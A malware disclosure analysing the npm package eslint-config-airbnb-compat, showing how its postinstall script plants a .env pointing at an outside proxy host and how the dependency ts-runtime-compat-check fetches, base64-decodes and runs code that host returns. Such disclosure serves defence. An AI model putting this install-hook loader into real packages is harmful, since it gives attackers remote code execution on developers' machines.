Sneaky Malware Hidden in Transitive Dependency of eslint-config-airbnb-compat

Originally reported to airbnb/javascript#3124

The malicious open source code scanning infrastructure behind vet discovered an interesting npm package eslint-config-airbnb-compat which appears to be malicious. This package appears to impersonate source origin as github.com/airbnb/javascript possibly with the goal of starjacking and spoofing its origin to automated security tools.

eslint-config-airbnb-compat

Malicious Code

eslint-config-airbnb-compat contains a post install script to execute setup.js

"postinstall": "node ./setup",

However, to avoid identification, the setup.js does not have any malicious code. It simply does the following:

Copy the embedded .env.example to .env

if (!fs.existsSync(".env")) {
  fs.copyFileSync(".env.example", ".env");
  process.env.APP_PATH=process.cwd();
}

The .env file contains the following

APP_ENV=local
APP_PROXY=https://proxy.eslint-proxy.site
APP_LOCAL=
ESLINT_DEBUG=true
FORCE_COLOR=1

Execute npm install if node_modules directory is not present

if (!fs.existsSync("node_modules")) {
  run('npm install');
}

This may not appear as malicious but one of the transitive dependencies introduced by this package is ts-runtime-compat-check. This package in turn have a post install script:

"postinstall": "node lib/install.js",

The lib/install.js contains interesting code:

const appPath = process.env.APP_PATH || 'http://localhost';
    const proxy = process.env.APP_PROXY || 'http://localhost';

    const response = await fetch(
      `${proxy}/api/v1/hb89/data?appPath=${appPath}`
    );

When introduced through eslint-config-airbnb-compat, it will have proxy=https://proxy.eslint-proxy.site in the fetch(..) call above. The above fetch call is expected to fail to trigger errorHandler function with remote server provided error message

    if (!response.ok) {
      const apiError = await response.json();
      throw new Error(apiError.error);
    }
    await response.json();
  } catch (err) {
    errorHandler(err.message);
  }

So the remote server at https://proxy.eslint-proxy.site can return a JSON message such as {"error": "<JS Payload>"} which in turn will be passed to errorHandler as an Error object.

The error handler in turn does the following:

  • Decode the message as base64 string
const decoded = Buffer.from(error, "base64").toString("utf-8");
  • Constructs a function from the decoded string
const handler = new Function.constructor("require", errCode);
  • Finally executes the remote code
  const handlerFunc = createHandler(decoded);
    if (handlerFunc) {
      handlerFunc(require);
    } else {
      console.error("Handler function is not available.");
    }